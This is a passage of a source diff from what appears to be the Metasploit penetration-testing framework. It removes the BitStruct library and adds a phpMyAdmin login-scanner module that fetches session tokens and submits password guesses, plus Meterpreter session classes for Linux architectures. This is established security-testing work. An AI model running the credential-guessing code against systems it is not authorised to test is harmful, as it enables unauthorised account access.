||||
unless length % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
val_byte_range = 0..length_byte-1
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
self[byte_range].sub(/\0*$/, "").to_s
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = val.to_s
|
||||
if val.length < length_byte
|
||||
val += "\0" * (length_byte - val.length)
|
||||
end
|
||||
self[byte_range] = val[val_byte_range]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,249 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for unsigned integers in network order, 1-16 bits, or 8n bits.
|
||||
# Declared with BitStruct.unsigned.
|
||||
class UnsignedField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "unsigned"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
offset_byte = offset / 8
|
||||
offset_bit = offset % 8
|
||||
|
||||
length_bit = offset_bit + length
|
||||
length_byte = (length_bit/8.0).ceil
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
|
||||
divisor = options[:fixed] || options["fixed"]
|
||||
divisor_f = divisor && divisor.to_f
|
||||
# if divisor and not divisor.is_a? Fixnum
|
||||
# raise ArgumentError, "fixed-point divisor must be a fixnum"
|
||||
# end
|
||||
|
||||
endian = (options[:endian] || options["endian"]).to_s
|
||||
case endian
|
||||
when "native"
|
||||
ctl = length_byte <= 2 ? "S" : "L"
|
||||
when "little"
|
||||
ctl = length_byte <= 2 ? "v" : "V"
|
||||
when "network", "big", ""
|
||||
ctl = length_byte <= 2 ? "n" : "N"
|
||||
else
|
||||
raise ArgumentError,
|
||||
"Unrecognized endian option: #{endian.inspect}"
|
||||
end
|
||||
|
||||
data_is_big_endian =
|
||||
([1234].pack(ctl) == [1234].pack(length_byte <= 2 ? "n" : "N"))
|
||||
|
||||
if length_byte == 1
|
||||
rest = 8 - length_bit
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest].pack("B8")[0].ord
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest].pack("B8")[0].ord
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
((self[offset_byte] & mask) >> rest) / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[offset_byte] =
|
||||
(self[offset_byte] & mask2) | ((val<<rest) & mask)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
(self[offset_byte] & mask) >> rest
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[offset_byte] =
|
||||
(self[offset_byte] & mask2) | ((val<<rest) & mask)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif offset_bit == 0 and length % 8 == 0
|
||||
field_length = length
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
cl.class_eval do
|
||||
case field_length
|
||||
when 8
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
self[offset_byte] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[offset_byte] = val
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
self[offset_byte]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[offset_byte] = val
|
||||
end
|
||||
end
|
||||
|
||||
when 16, 32
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
self[byte_range].unpack(ctl).first / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
self[byte_range].unpack(ctl).first
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
reader_helper = proc do |substr|
|
||||
bytes = substr.unpack("C*")
|
||||
bytes.reverse! unless data_is_big_endian
|
||||
bytes.inject do |sum, byte|
|
||||
(sum << 8) + byte
|
||||
end
|
||||
end
|
||||
|
||||
writer_helper = proc do |val|
|
||||
bytes = []
|
||||
while val > 0
|
||||
bytes.push val % 256
|
||||
val = val >> 8
|
||||
end
|
||||
if bytes.length < length_byte
|
||||
bytes.concat [0] * (length_byte - bytes.length)
|
||||
end
|
||||
|
||||
bytes.reverse! if data_is_big_endian
|
||||
bytes.pack("C*")
|
||||
end
|
||||
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
reader_helper[self[byte_range]] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = writer_helper[(val * divisor).round]
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
reader_helper[self[byte_range]]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = writer_helper[val]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif length_byte == 2 # unaligned field that fits within two whole bytes
|
||||
byte_range = offset_byte..last_byte
|
||||
rest = 16 - length_bit
|
||||
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest]
|
||||
mask = mask.pack("B16").unpack(ctl).first
|
||||
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
|
||||
mask2 = mask2.pack("B16").unpack(ctl).first
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
((self[byte_range].unpack(ctl).first & mask) >> rest) /
|
||||
divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
x = (self[byte_range].unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
(self[byte_range].unpack(ctl).first & mask) >> rest
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
x = (self[byte_range].unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif length_byte == 3 # unaligned field that fits within 3 whole bytes
|
||||
byte_range = offset_byte..last_byte
|
||||
rest = 32 - length_bit
|
||||
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest]
|
||||
mask = mask.pack("B32").unpack(ctl).first
|
||||
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
|
||||
mask2 = mask2.pack("B32").unpack(ctl).first
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
((bytes.unpack(ctl).first & mask) >> rest) /
|
||||
divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
x = (bytes.unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)[0..2]
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
(bytes.unpack(ctl).first & mask) >> rest
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
x = (bytes.unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)[0..2]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
raise "unsupported: #{inspect}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,78 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'bit-struct/vector'
|
||||
|
||||
class BitStruct
|
||||
# Class for embedding a BitStruct::Vector as a field within a BitStruct.
|
||||
# Declared with BitStruct.vector.
|
||||
class VectorField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "vector"
|
||||
end
|
||||
|
||||
# Used in describe.
|
||||
def class_name
|
||||
@class_name ||= vector_class.name[/\w+$/]
|
||||
end
|
||||
|
||||
# Returns the subclass of Vector that is used to manage the value of this
|
||||
# field. If the class was specified in the BitStruct.vector declaration,
|
||||
# #vector_class will return it, otherwise it will be an anonymous class
|
||||
# (which you can assign to a constant to make nonymous ;).
|
||||
def vector_class
|
||||
@vector_class ||= options[:vector_class] || options["vector_class"]
|
||||
end
|
||||
|
||||
def describe opts # :nodoc:
|
||||
if opts[:expand]
|
||||
opts = opts.dup
|
||||
opts[:byte_offset] = offset / 8
|
||||
opts[:omit_header] = opts[:omit_footer] = true
|
||||
vector_class.describe(nil, opts) {|desc| yield desc}
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for vector field #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for vector field #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
vc = vector_class
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
vc.new(self[byte_range])
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
if val.length != length_byte
|
||||
raise ArgumentError, "Size mismatch in vector field assignment " +
|
||||
"to #{attr} with value #{val.inspect}"
|
||||
end
|
||||
|
||||
if val.class != vc
|
||||
warn "Type mismatch in vector field assignment " +
|
||||
"to #{attr} with value #{val.inspect}"
|
||||
end
|
||||
|
||||
self[byte_range] = val
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,174 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
# A Vector is, like a BitStruct, a String. It retains all of the String
|
||||
# methods, except for #[], #[]=, and #each. These methods operate on entries
|
||||
# instead of chars. Other methods, including #length and #slice, are unchanged.
|
||||
# Hence a Vector can be used directly with sockets, binary files, etc.
|
||||
#
|
||||
# Note that Vector is not a subclass of BitStruct. It cannot be used in
|
||||
# a #nest declaration in a BitStruct. Instead, use the #vector declaration.
|
||||
# See BitStruct::VectorField.
|
||||
#
|
||||
# Different instances of the same Vector class may have different lengths, and
|
||||
# a single instance can change its length. The length should always be a
|
||||
# multiple of the struct size.
|
||||
class BitStruct::Vector < String
|
||||
include Enumerable
|
||||
|
||||
@default_options = {}
|
||||
@struct_class = nil
|
||||
|
||||
class << self
|
||||
def inherited cl
|
||||
cl.instance_eval do
|
||||
@struct_class = nil
|
||||
end
|
||||
end
|
||||
|
||||
# Called as a class method with a single argument in a user-defined
|
||||
# subclass to specify a particular BitStruct class to use for each entry,
|
||||
# instead of generating an anonymous class. Called without arguments to
|
||||
# access the struct class, generating an anonymous one if needed.
|
||||
# The struct_class inherits from the struct_class of the parent Vector
|
||||
# class.
|
||||
def struct_class cl = nil
|
||||
if cl
|
||||
if @struct_class
|
||||
warn "changing struct_class in #{self} to #{cl}"
|
||||
end
|
||||
@struct_class = cl
|
||||
@struct_class.default_options default_options
|
||||
else
|
||||
unless @struct_class
|
||||
@struct_class = self == BitStruct::Vector ? BitStruct :
|
||||
Class.new(superclass.struct_class)
|
||||
@struct_class.default_options default_options
|
||||
end
|
||||
end
|
||||
@struct_class
|
||||
end
|
||||
|
||||
def method_missing(*a, &block) # :nodoc:
|
||||
struct_class.send(*a, &block)
|
||||
end
|
||||
|
||||
alias :orig_respond_to? :respond_to?
|
||||
def respond_to?(*m) # :nodoc:
|
||||
orig_respond_to?(*m) || struct_class.respond_to?(*m)
|
||||
end
|
||||
|
||||
# Get or set the hash of default options for the class, which apply to all
|
||||
# fields in the entries. If +h+ is provided, update the default options
|
||||
# with that hash. Default options are inherited.
|
||||
#
|
||||
# This is especially useful with the <tt>:endian => val</tt> option.
|
||||
def default_options h = nil
|
||||
@default_options ||= superclass.default_options.dup
|
||||
if h
|
||||
@default_options.merge! h
|
||||
if @struct_class
|
||||
@struct_class.default_options h
|
||||
end
|
||||
end
|
||||
@default_options
|
||||
end
|
||||
|
||||
def describe(*args)
|
||||
fmt = args[0] || BitStruct.describe_format
|
||||
if block_given?
|
||||
struct_class.describe(*args){|desc| yield desc}
|
||||
yield ["..."]*5
|
||||
else
|
||||
struct_class.describe(*args) + [fmt % (["..."]*5)]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Convenience method for instances. Returns the BitStruct class that
|
||||
# describes each entry.
|
||||
def struct_class
|
||||
self.class.struct_class
|
||||
end
|
||||
|
||||
# Convenience method for instances. Returns the string length in bytes of
|
||||
# each entry in the vector.
|
||||
def struct_class_length
|
||||
self.class.struct_class.round_byte_length
|
||||
end
|
||||
|
||||
# +arg+ can be an integer (number of entries) or a string
|
||||
# (binary data, such as another Vector of the same size).
|
||||
def initialize arg # :yields: instance
|
||||
case arg
|
||||
when Integer
|
||||
super(struct_class.initial_value * arg)
|
||||
|
||||
else
|
||||
begin
|
||||
super arg
|
||||
rescue NameError
|
||||
raise ArgumentError, "must be string or integer: #{arg.inspect}"
|
||||
end
|
||||
end
|
||||
|
||||
yield self if block_given?
|
||||
end
|
||||
|
||||
# Get the +i+-th entry. Returns a *copy* of the entry. If you want to
|
||||
# use this copy to modify the entry, you must modify the copy and then
|
||||
# use #[]= to replace the entry with the copy.
|
||||
def [](i)
|
||||
sc = self.class.struct_class
|
||||
entry_length = sc.round_byte_length
|
||||
|
||||
unless (0...(length / entry_length)).include? i
|
||||
raise ArgumentError, "index out of range: #{i}"
|
||||
end
|
||||
|
||||
sc.new slice(entry_length * i, entry_length)
|
||||
end
|
||||
|
||||
alias _old_replace_substr []=
|
||||
|
||||
# Set the +i+-th entry to +val+.
|
||||
def []=(i,val)
|
||||
entry_length = struct_class_length
|
||||
|
||||
unless (0...(length / entry_length)).include? i
|
||||
raise ArgumentError, "index out of range: #{i}"
|
||||
end
|
||||
|
||||
unless val.length == entry_length
|
||||
raise ArgumentError, "wrong entry length: #{val.length} != #{entry_length}"
|
||||
end
|
||||
|
||||
_old_replace_substr(entry_length * i, entry_length, val)
|
||||
end
|
||||
|
||||
## TODO: [i..j] etc.
|
||||
|
||||
# Iterate over entries.
|
||||
def each
|
||||
entry_length = struct_class_length
|
||||
(length / entry_length).times do |i|
|
||||
yield self[i]
|
||||
end
|
||||
end
|
||||
|
||||
def inspect(opts = BitStruct::DEFAULT_INSPECT_OPTS)
|
||||
if opts[:include_class]
|
||||
opts = opts.dup
|
||||
opts[:include_class] = false
|
||||
s = self.class.inspect + ": "
|
||||
else
|
||||
s = ""
|
||||
end
|
||||
|
||||
s << entries.map{|entry| entry.inspect(opts)}.join(opts[:separator])
|
||||
lb, rb = opts[:brackets]
|
||||
[lb, s, rb].join
|
||||
end
|
||||
|
||||
def inspect_detailed
|
||||
inspect(BitStruct::DETAILED_INSPECT_OPTS)
|
||||
end
|
||||
end
|
||||
@@ -1,70 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'yaml'
|
||||
|
||||
class BitStruct
|
||||
if RUBY_VERSION == "1.8.2"
|
||||
def is_complex_yaml? # :nodoc:
|
||||
true
|
||||
end
|
||||
|
||||
YAML.add_ruby_type(/^bitstruct/) do |type, val|
|
||||
subtype, subclass = YAML.read_type_class(type, Object)
|
||||
subclass.new(val)
|
||||
end
|
||||
|
||||
def to_yaml_type # :nodoc:
|
||||
"!ruby/bitstruct:#{self.class}"
|
||||
end
|
||||
|
||||
def to_yaml( opts = {} ) # :nodoc:
|
||||
opts[:DocType] = self.class if Hash === opts
|
||||
YAML.quick_emit(self.object_id, opts) do |out|
|
||||
out.map(to_yaml_type) do |map|
|
||||
fields.each do |field|
|
||||
fn = field.name
|
||||
map.add(fn, send(fn))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
yaml_as "tag:path.berkeley.edu,2006:bitstruct"
|
||||
|
||||
def to_yaml_properties # :nodoc:
|
||||
yaml_fields = fields.select {|field| field.inspectable?}
|
||||
props = yaml_fields.map {|f| f.name.to_s}
|
||||
if (rest_field = self.class.rest_field)
|
||||
props << rest_field.name.to_s
|
||||
end
|
||||
props
|
||||
end
|
||||
|
||||
# Return YAML representation of the BitStruct.
|
||||
def to_yaml( opts = {} )
|
||||
YAML::quick_emit( object_id, opts ) do |out|
|
||||
out.map( taguri, to_yaml_style ) do |map|
|
||||
to_yaml_properties.each do |m|
|
||||
map.add( m, send( m ) )
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def self.yaml_new( klass, tag, val ) # :nodoc:
|
||||
unless Hash === val
|
||||
raise YAML::TypeError, "Invalid BitStruct: " + val.inspect
|
||||
end
|
||||
|
||||
bitstruct_name, bitstruct_type = YAML.read_type_class( tag, BitStruct )
|
||||
|
||||
st = bitstruct_type.new
|
||||
|
||||
val.each do |k,v|
|
||||
st.send( "#{k}=", v )
|
||||
end
|
||||
|
||||
st
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,158 @@
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class PhpMyAdmin < HTTP
|
||||
DEFAULT_PORT = 4848
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # shorter name
|
||||
|
||||
# @!attribute php_my_admin
|
||||
# @return [String] cookie pma à mettre dans la prochaine requete
|
||||
attr_accessor :php_my_admin
|
||||
|
||||
# @!attribute token
|
||||
# @return [String] token requete
|
||||
attr_accessor :token
|
||||
|
||||
# @!attribute pmaUser_1
|
||||
# @return [String] pmaUser-1 cookie a mettre dans la requete
|
||||
attr_accessor :pmaUser_1
|
||||
|
||||
# @!attribute pmaPass_1
|
||||
# @return [String] pmaPass-1 cookie a mettre dans la requete
|
||||
attr_accessor :pmaPass_1
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
res = send_request({'uri' => uri})
|
||||
return "Connection failed" if res.nil?
|
||||
if !([200, 302].include?(res.code))
|
||||
return "Unexpected HTTP response code #{res.code} (is this really phpMyAdmin ?)"
|
||||
end
|
||||
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
return "Unable to connect to target"
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
||||
# Found a cookie? Set it. We're going to need it.
|
||||
if self.php_my_admin == '' && res && res.get_cookies =~ /(phpMyAdmin=[a-z0-9]+;)/i
|
||||
self.php_my_admin = res.get_cookies.match(/ (phpMyAdmin=[a-z0-9]+;)/)[1]
|
||||
end
|
||||
if self.pmaPass_1 == '' && res && res.get_cookies =~ /(pmaPass-1=[a-zA-Z0-9%]+;)/i
|
||||
self.pmaPass_1 = $1
|
||||
end
|
||||
if self.pmaUser_1 == '' && res && res.get_cookies =~ /(pmaUser-1=[a-zA-Z0-9%]+;)/i
|
||||
self.pmaUser_1 = $1
|
||||
end
|
||||
if self.token == ''
|
||||
tokens = res.body.match(/<input type="hidden" name="token" value="(\w+)"/)
|
||||
self.token = (tokens.nil?) ? '' : tokens[-1]
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Sends a login request
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Rex::Proto::Http::Response] The HTTP auth response
|
||||
def do_login(username, password)
|
||||
# on recupere les cookies/token
|
||||
send_request({'uri' => "#{uri}index.php"})
|
||||
|
||||
data = "pma_username=#{username}&"
|
||||
data << "pma_password=#{password}&"
|
||||
data << "token=#{self.token}"
|
||||
|
||||
opts = {
|
||||
'uri' => "#{uri}index.php",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => "#{self.pmaUser_1} #{self.php_my_admin}",
|
||||
}
|
||||
}
|
||||
|
||||
res = send_request(opts)
|
||||
if is_logged_in
|
||||
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => self.pmaPass_1}
|
||||
end
|
||||
|
||||
return {:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
|
||||
|
||||
end
|
||||
|
||||
|
||||
def is_logged_in
|
||||
url_verif = "#{uri}index.php?token=#{self.token}"
|
||||
|
||||
cookies = "#{self.pmaPass_1} #{self.pmaUser_1} #{self.php_my_admin}"
|
||||
|
||||
res = send_request({
|
||||
'uri' => url_verif,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => cookies
|
||||
}
|
||||
})
|
||||
|
||||
return (res.body.include? 'Log out')
|
||||
end
|
||||
|
||||
|
||||
# Attemps to login to the server.
|
||||
#
|
||||
# @param [Metasploit::Framework::Credential] credential The credential information.
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
# Default Result
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
self.php_my_admin = ''
|
||||
self.pmaUser_1 = ''
|
||||
self.pmaPass_1 = ''
|
||||
self.token = ''
|
||||
# Merge login result
|
||||
begin
|
||||
result_opts.merge!(do_login(credential.public, credential.private))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
# Return the Result object
|
||||
return Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
require 'net/ssh'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'rex/socket/ssh_factory'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
@@ -47,12 +48,14 @@ module Metasploit
|
||||
# @note The caller *must* close {#ssh_socket}
|
||||
def attempt_login(credential)
|
||||
self.ssh_socket = nil
|
||||
factory = Rex::Socket::SSHFactory.new(framework,framework_module, proxies)
|
||||
opt_hash = {
|
||||
:port => port,
|
||||
:disable_agent => true,
|
||||
:config => false,
|
||||
:verbose => verbosity,
|
||||
:proxies => proxies
|
||||
:port => port,
|
||||
:use_agent => false,
|
||||
:config => false,
|
||||
:verbose => verbosity,
|
||||
:proxy => factory,
|
||||
:non_interactive => true
|
||||
}
|
||||
case credential.private_type
|
||||
when :password, nil
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "4.12.7"
|
||||
VERSION = "4.12.15"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -401,7 +401,7 @@ class ReadableText
|
||||
])
|
||||
|
||||
mod.options.sorted.each do |name, opt|
|
||||
val = mod.datastore[name] || opt.default
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
|
||||
next if (opt.advanced?)
|
||||
next if (opt.evasion?)
|
||||
@@ -431,7 +431,7 @@ class ReadableText
|
||||
|
||||
mod.options.sorted.each do |name, opt|
|
||||
next unless opt.advanced?
|
||||
val = mod.datastore[name] || opt.default
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
|
||||
end
|
||||
|
||||
@@ -456,7 +456,7 @@ class ReadableText
|
||||
|
||||
mod.options.sorted.each do |name, opt|
|
||||
next unless opt.evasion?
|
||||
val = mod.datastore[name] || opt.default
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_armle_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'armle/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_mipsbe_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'mipsbe/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_mipsle_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'mipsle/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_x64_Mettle_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'x64/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_x86_Mettle_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'x86/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -48,7 +48,7 @@ module Buffer
|
||||
when 'java'
|
||||
buf = Rex::Text.to_java(buf, var_name)
|
||||
when 'powershell', 'ps1'
|
||||
buf = Rex::Text.to_powershell(buf, var_name)
|
||||
buf = Rex::Powershell.to_powershell(buf, var_name)
|
||||
when 'vbscript'
|
||||
buf = Rex::Text.to_vbscript(buf, var_name)
|
||||
when 'vbapplication'
|
||||
|
||||
@@ -125,7 +125,7 @@ class Export
|
||||
@owned_hosts = []
|
||||
@hosts = myworkspace.hosts
|
||||
@hosts.each do |host|
|
||||
if host.notes.find :first, :conditions => { :ntype => 'pro.system.compromise' }
|
||||
if host.notes.where(ntype: 'pro.system.compromise').first
|
||||
@owned_hosts << host
|
||||
end
|
||||
end
|
||||
@@ -133,7 +133,7 @@ class Export
|
||||
|
||||
# Extracts all events from a project, storing them in @events
|
||||
def extract_event_entries
|
||||
